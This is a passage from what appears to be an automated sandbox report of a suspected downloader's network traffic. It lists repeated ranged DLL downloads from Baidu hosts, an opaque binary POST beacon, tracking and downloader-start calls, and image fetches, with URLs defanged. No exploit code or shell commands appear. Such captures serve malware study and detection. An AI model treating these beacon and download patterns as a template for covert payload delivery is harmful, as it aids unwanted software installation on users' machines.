Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 425984-1178447/1178448<br>
Content-Length: 752464<br>
Age: 1193554<br>
Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 200 OK<br>
Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>
Date: Sun, 10 Aug 2014 15:52:41 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Content-Length: 1207520<br>
Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Age: 97069<br>
Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 200 OK<br>
Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>
Date: Sun, 10 Aug 2014 15:52:20 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Content-Length: 924496<br>
Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Age: 97087<br>
Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=983040-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>
Date: Mon, 28 Jul 2014 23:18:00 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 983040-1178447/1178448<br>
Content-Length: 195408<br>
Age: 1193554<br>
Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=786432-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>
Date: Sun, 10 Aug 2014 15:52:24 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 786432-1178447/1178448<br>
Content-Length: 392016<br>
Age: 97090<br>
Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 200 OK<br>
Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>
Date: Sat, 09 Aug 2014 06:25:46 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Content-Length: 924496<br>
Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Age: 217481<br>
Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /sw-search-shadu/client/dllv3/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=1114112-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:32 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 93408<br>
Connection: close<br>
ETag: 30cbc602ada7cdfb0346038c05996d84<br>
Last-Modified: Thu, 20 Jun 2013 06:27:51 GMT<br>
Expires: Tue, 12 Aug 2014 14:59:13 GMT<br>
Age: 186679<br>
Content-Range: bytes 1114112-1207519/1207520<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: 21BEDF37C0B754EE14FE2C8B0543B5C0<br>
x-bs-request-id: MTAuNTguMzQuMTk6ODA4MDoxMzEyMjA1MTYxOjI4L0p1bC8yMDE0IDIyOjU5OjA1IA==<br>
x-bs-meta-crc32: 2965621797<br>
Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:39 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 26004304<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186600<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=13631488-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:52 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 12372816<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186613<br>
Content-Range: bytes 13631488-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">POST / HTTP/1.1<br>
Connection: Keep-Alive<br>
Content-Length: 228<br>
Content-Type: application/octet-stream<br>
Host: s.x.baidu.com<br>
Keep-Alive: timeout=600,max=1000<br>
<br>
...p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD.........u..8..(8_.9........v.>.E.{...W...Gc8.@.H.P.X.` ...h.%h...C}.K{T\QZa.L.`. .P!..~...L.<.:%.M.j..T\/$|.a.,.EDv....4.[7}E....x..>H..I....3G4.}...iI.F.`/wLZ....5.</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: iYuntianSvr<br>
Content-Type: application/octet-stream<br>
Keep-Alive: timeout=30<br>
Connection: Keep-Alive<br>
Content-Length: 140<br><pre>...p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD...........<br>u..8..(8_.9.........v.>.E.{...W...Gc8.@.H.P.X.` .....%.Q..7...l.=.%<br>..'HTTP/1.1 200 OK..Server: iYuntianSvr..Content-Type: application/oct<br>et-stream..Keep-Alive: timeout=30..Connection: Keep-Alive..Content-Len<br>gth: 140.....p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD.<br>..........u..8..(8_.9.........v.>.E.{...W...Gc8.@.H.P.X.` .....%.Q.<br>.7...l.=.%..'..</pre></font><br><br
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=884736-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>
Date: Sun, 10 Aug 2014 15:52:24 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 884736-1178447/1178448<br>
Content-Length: 293712<br>
Age: 97091<br>
Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=753664-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>
Date: Sat, 09 Aug 2014 06:25:46 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 753664-924495/924496<br>
Content-Length: 170832<br>
Age: 217482<br>
Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=589824-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>
Date: Mon, 28 Jul 2014 23:18:00 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 589824-1178447/1178448<br>
Content-Length: 588624<br>
Age: 1193554<br>
Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=917504-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>
Date: Sun, 10 Aug 2014 15:52:41 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 917504-1207519/1207520<br>
Content-Length: 290016<br>
Age: 97070<br>
Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /stat.php?id=2701879&web_id=2701879 HTTP/1.1<br>
Accept: */*<br>
Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go=<br>
Accept-Language: en-us<br>
Accept-Encoding: gzip, deflate<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
Host: s6.cnzz.com<br>
Connection: Keep-Alive<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: Tengine<br>
Date: Mon, 11 Aug 2014 18:51:24 GMT<br>
Content-Type: application/javascript<br>
Transfer-Encoding: chunked<br>
Connection: keep-alive<br>
Last-Modified: Mon, 11 Aug 2014 18:51:24 GMT<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=14155776-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:51:02 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 11848528<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186623<br>
Content-Range: bytes 14155776-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=13107200-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:40 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 12897104<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186601<br>
Content-Range: bytes 13107200-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go= HTTP/1.1<br>
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*<br>
Accept-Language: en-us<br>
Accept-Encoding: gzip, deflate<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
Host: tv.aiqingzhihui.com<br>
Connection: Keep-Alive<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Date: Mon, 11 Aug 2014 18:50:59 GMT<br>
Content-Length: 1350<br>
Content-Type: text/html<br>
Last-Modified: Tue, 17 Jun 2014 13:01:31 GMT<br>
Connection: Keep-Alive<br>
ETag: "66d7a7422c8acf1:619"<br>
Accept-Ranges: bytes<br>
Server: Microsoft-IIS/6.0<br>
X-Powered-By: ASP.NET<br>
<<< skipped >>>
<font color="red">GET /downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= HTTP/1.1<br>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: cj.guagua.cn<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:51:03 GMT<br>
Content-Length: 0<br>
Connection: keep-alive<br>
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"<br><pre>HTTP/1.1 200 OK..Server: nginx..Date: Mon, 11 Aug 2014 18:51:03 GMT..C<br>ontent-Length: 0..Connection: keep-alive..P3P: CP="CURa ADMa DEVa PSAo<br> PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..</pre></font><br><br
<font color="red">GET /tg_pic/1.png HTTP/1.1<br>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: img001.com<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:55:34 GMT<br>
Content-Type: image/png<br>
Content-Length: 135179<br>
Last-Modified: Mon, 23 Dec 2013 03:08:13 GMT<br>
Connection: keep-alive<br>
<<< skipped >>>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: img001.com<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:55:36 GMT<br>
Content-Type: image/png<br>
Content-Length: 160224<br>
Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>
Connection: keep-alive<br>
<<< skipped >>>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: img001.com<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:55:38 GMT<br>
Content-Type: image/png<br>
Content-Length: 149164<br>
Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>
Connection: keep-alive<br>
<<< skipped >>>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: img001.com<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:55:40 GMT<br>
Content-Type: image/png<br>
Content-Length: 156314<br>
Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>
Connection: keep-alive<br>
<<< skipped >>>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: img001.com<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:55:42 GMT<br>
Content-Type: image/png<br>
Content-Length: 164337<br>
Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>
Connection: keep-alive<br>
<<< skipped >>>
Accept: */*<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>
Host: img001.com<br>
Cache-Control: no-cache<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Mon, 11 Aug 2014 18:55:47 GMT<br>
Content-Type: image/png<br>
Content-Length: 132296<br>
Last-Modified: Mon, 06 Jan 2014 08:23:44 GMT<br>
Connection: keep-alive<br>
<<< skipped >>>
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=819200-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>
Date: Mon, 28 Jul 2014 23:18:00 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 819200-1178447/1178448<br>
Content-Length: 359248<br>
Age: 1193555<br>
Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMNet.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=14811136-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:51:18 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 11193168<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186639<br>
Content-Range: bytes 14811136-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=491520-<br>
Referer: hXXp://xf.baidu.com<br>
